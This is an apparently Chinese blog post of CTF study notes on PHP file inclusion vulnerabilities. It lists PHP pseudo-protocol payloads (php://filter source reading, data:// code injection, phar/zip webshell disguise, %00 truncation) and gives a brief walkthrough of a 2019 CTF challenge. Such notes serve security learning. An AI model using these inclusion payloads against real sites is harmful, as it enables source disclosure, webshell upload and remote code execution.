文件包含

文件包含漏洞

文件包含

用文件包含函数 引用另外的一个或多个文件,达到可以直接使用包含进来的文件的函数

漏洞

包含进来的文件的函数 所加载的参数没有经过过滤,可以被控制,制造恶意输出

文件包含 函数

include()
include_once()
require()
require_once()

include()require()函数的区别

include()如果在包含过程中出错,只会提出警告,脚本会继续执行

require()如果在包含过程中出错,就会直接退出,不执行后续语句

PHP伪协议

php://访问输入输出流

条件

  • allow_url_fopen不受影响
  • allow_url_include=On
php://filter

访问本地文件系统,读取源码

?arg=php://filter/read=convert.base64-encode/resource=[文件名]
php://input

看到file_get_contents()就用php://input绕过

可以写入木马,前提条件是allow_url_fopen和``allow_url_include`为开启状态 (大概是这个样子)

image-20240607195437074

也可以命令执行同样allow_url_fopen和``allow_url_include`也是开启状态

file://伪协议

条件:不受allow_url_fopenallow_url_include是否开启的影响

作用:访问本地文件系统,读取本地文件

格式:

file://[文件的绝对路径和文件名]
/绝对路径
http://127.0.0.1/include.php?file=file://D:\phpStudy\WWW\test.txt
//相对路径
http://127.0.0.1/include.php?file=./test.txt
//网络路径
http://127.0.0.1/include.php?file=http://127.0.0.1/test.txt
data://伪协议

遇到file_get_contents()用 ,可以打开 如果php.ini里的allow_url_include=Onallow_url_fopen=On 制造任意代码执行

  • 格式

    data://text/plain

    http://127.0.0.1/include.php?file=data://text/plain,<?php%20test();?>
    

    data://text/plain;base64

    http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
    
phar://伪协议

不管什么后缀 都会被当成压缩包来解压

格式:

?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 

将一句话木马php文件 压缩为zip文件(不能是rar),将后缀改为png,jpg等等 其他任意后缀

压缩为zip文件时 可用zip伪协议

zip://&bzip://&zlib://

#在浏览器中可以编码为%23

  • 条件

​ 不受allow_url_fopenallow_url_include是否开启的影响

  • 格式

    压缩txt为zip,压缩包重命名为jpg

    http://127.0.0.1/include.php?file=zip://E:\phpStudy\WWW\test.jpg%23test.txt
    

    压缩txt为bz2

    http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\WWW\test.bz2
    

    压缩txt为gz

    http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\WWW\test.gz
    
http://&https://
  • 条件

    • allow_url_fopen:on
    • allow_url_include :on
  • 格式

    http://127.0.0.1/include.php?file=http://127.0.0.1/test.txt
    

%00绕过

%00绕过的前提条件是php.ini中的 magic_quotes_qpc=off PHP版本<5.3.4

直接访问1.jpg会出错但是后边加上了%00就会绕过检测

http://vuln.com/index.php?arg=1.jpg%00

[极客大挑战 2019]Secret

查看源码

找到Archive_room.php 查看源码是./action.php 点开跳转到end.php查阅结束

考虑为什么访问不到./action.php 抓包

image-20240607222106905

访问secr3t.php

image-20240607222153346

访问../flag.php

image-20240607222233788

伪协议绕过

image-20240607222747726

image-20240607222812689

posted @ 2024-06-08 09:49  Yolololololo  阅读(13)  评论(0编辑  收藏  举报